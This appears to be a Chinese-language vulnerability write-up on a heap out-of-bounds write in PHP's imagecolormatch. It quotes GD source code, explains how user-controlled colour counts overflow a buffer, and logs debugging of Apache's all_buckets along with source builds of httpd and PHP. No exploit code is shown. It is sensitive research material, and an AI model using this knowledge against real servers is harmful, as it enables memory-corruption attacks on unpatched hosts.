对一个调色板图像对象,每调用imagecolorallocate会使im->colorsTotal加1
 
   
   
 

int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a){ int i; int ct = (-1);... for (i = 0; i < im->colorsTotal; i++) { if (im->open[i]) { ct = i; break; } } if (ct == (-1)) { ct = im->colorsTotal; if (ct == gdMaxColors) { return -1; } im->colorsTotal++; } im->red[ct] = r; im->green[ct] = g; im->blue[ct] = b; im->alpha[ct] = a; im->open[ct] = 0;
return ct;}
imagecolormatch函数
 
   
   
 
PHP_FUNCTION(imagecolormatch){... result = gdImageColorMatch(im1, im2);...}

iint gdImageColorMatch (gdImagePtr im1, gdImagePtr im2){ unsigned long *buf; /* stores our calculations */ unsigned long *bp; /* buf ptr */ int color, rgb; int x,y; int count;... buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); memset( buf, 0, sizeof(unsigned long) * 5 * im2->colorsTotal );

for (x=0; x<im1->sx; x++) { for( y=0; y<im1->sy; y++ ) { color = im2->pixels[y][x]; rgb = im1->tpixels[y][x]; // 一共有0~255个颜色(color),每个颜色占五个long:每个color的次数,红色的深度(0~255),绿色的深度,蓝色的深度,alpha大小 bp = buf + (color * 5); (*(bp++))++; *(bp++) += gdTrueColorGetRed(rgb); *(bp++) += gdTrueColorGetGreen(rgb); *(bp++) += gdTrueColorGetBlue(rgb); *(bp++) += gdTrueColorGetAlpha(rgb); } } bp = buf; for (color=0; color<im2->colorsTotal; color++) { count = *(bp++); if( count > 0 ) { im2->red[color] = *(bp++) / count; im2->green[color] = *(bp++) / count; im2->blue[color] = *(bp++) / count; im2->alpha[color] = *(bp++) / count; } else { bp += 4; } } gdFree(buf); return 0;}

# define safe_emalloc(a,b,c) emalloc((a)*(b)+(c))#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)
漏洞原理
imagecolormatch会根据调色板图像的im->colorsTotal创建一个缓冲区:
 
   
   
 
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
对缓冲区的写入使用的是
 
   
   
 
bp = buf + (color * 5);
而color的范围是 (0~255)  ,且colorsTotal和color都可以由用户控制,最终可以实现越界写。

调试环境搭建

我从源码编译Apache后,它的all_buckets位于heap区域,无法通过PHP获取其地址,猜测是编译选项或者编译器的问题,做了很多尝试最终还是没有解决这个问题,这里记录一下相关的内容, 方便以后有机会再分析。
 
   
   
 
非源码环境的进程maps:
gdb-peda$ p all_buckets$5 = (prefork_child_bucket *) 0x7f2847b501d0
7f2847ae3000-7f2847af7000 rw-s 00000000 00:01 279724 /dev/zero (deleted)7f2847af7000-7f2847b46000 rw-p 00000000 00:00 0 7f2847b46000-7f2847bf9000 rw-p 00000000 00:00 0 7f2847bf9000-7f2847c0b000 rw-p 00000000 00:00 0 7f2847c0b000-7f2847c0c000 r--p 00027000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so7f2847c0c000-7f2847c0d000 rw-p 00028000 08:01 661145 /lib/x86_64-linux-gnu/ld-2.27.so...



源码环境的进程maps:gdb-peda$ p all_buckets $1 = (prefork_child_bucket *) 0x557e1eddf878

$ sudo cat /proc/130839/maps557e1ddf4000-557e1dea8000 r-xp 00000000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0a8000-557e1e0ab000 r--p 000b4000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0ab000-557e1e0af000 rw-p 000b7000 08:01 2114741 /usr/local/httpd/bin/httpd557e1e0af000-557e1e0b2000 rw-p 00000000 00:00 0 557e1ed67000-557e1ee10000 rw-p 00000000 00:00 0 [heap]557e1ee10000-557e1ef18000 rw-p 00000000 00:00 0
[heap]

源码安装Apache httpd
 
   
   
 
sudo apt updatesudo apt-get -y install build-essential git autoconf vim

wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.6.5.tar.gztar xf apr-1.6.5.tar.gz cd apr-1.6.5./configure --prefix=/usr/local/apr/ CFLAGS=-gmakesudo make installcd ..

sudo apt-get install libexpat1-dev

wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.6.1.tar.gztar -zxvf apr-util-1.6.1.tar.gzcd apr-util-1.6.1./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr CFLAGS=-gmake sudo make installcd ..

sudo apt-get -y install libpcre3-dev zlib1g-dev

wget http://archive.apache.org/dist/httpd/httpd-2.4.38.tar.gztar -zxvf httpd-2.4.38.tar.gzcd httpd-2.4.38./configure --prefix=/usr/local/httpd/ --sysconfdir=/etc/httpd/ --with-include-apr --disable-userdir --enable-headers --with-mpm=prefork --enable-modules=most --enable-so --enable-deflate --enable-defate=shared --enable-expires-shared --enable-rewrite=shared --enable-static-support --with-apr=/usr/local/apr/ --with-apr-util=/usr/local/apr-util/bin --with-ssl --with-z CFLAGS=-gmakesudo make install

sudo ln -s /usr/local/httpd/bin/apachectl /usr/sbin/apachectl
sudo groupadd wwwsudo useradd -g www www -s /bin/false
sudo sed -i 's,#ServerName www.example.com,ServerName localhost,' /usr/local/httpd/conf/httpd.conf

sudo sed -i 's,User daemon,User www,' /usr/local/httpd/conf/httpd.confsudo sed -i 's,Group daemon,Group www,' /usr/local/httpd/conf/httpd.confsudo echo -e "nListen 8080nAddType application/x-httpd-php .php" >> /usr/local/httpd/conf/httpd.conf

sudo apachectl start
测试ps -aux|grep httpdcurl localhost
web目录cat /etc/httpd/httpd.conf |grep DocumentRoot
参考https://blog.csdn.net/m0_37886429/article/details/79643078https://segmentfault.com/a/1190000002763150
源码安装PHP
 
   
   
 
sudo apt-get -y install  libxml2-dev  libcurl4-openssl-dev  libjpeg-dev  libpng-dev  libxpm-dev  libmysqlclient-dev  libpq-dev  libicu-dev  libfreetype6-dev  libldap2-dev  libxslt-dev  libssl-dev  libldb-dev
sudo apt-get -y install build-essential
wget https://www.php.net/distributions/php-7.2.13.tar.gztar -zxvf php-7.2.13.tar.gzcd php-7.2.13

./configure --prefix=/usr/local/php7.2.13 --with-apxs2=/usr/local/httpd/bin/apxs --with-gd CFLAGS=-gmake sudo make install
测试$ sudo ln -s /usr/local/php7.2.13/bin/php /usr/sbin/php$ php -vPHP 7.2.13 (cli) (built: May 8 2020 01:10:56) ( ZTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
参考https://docs.moodle.org/38/en/Compiling_PHP_from_source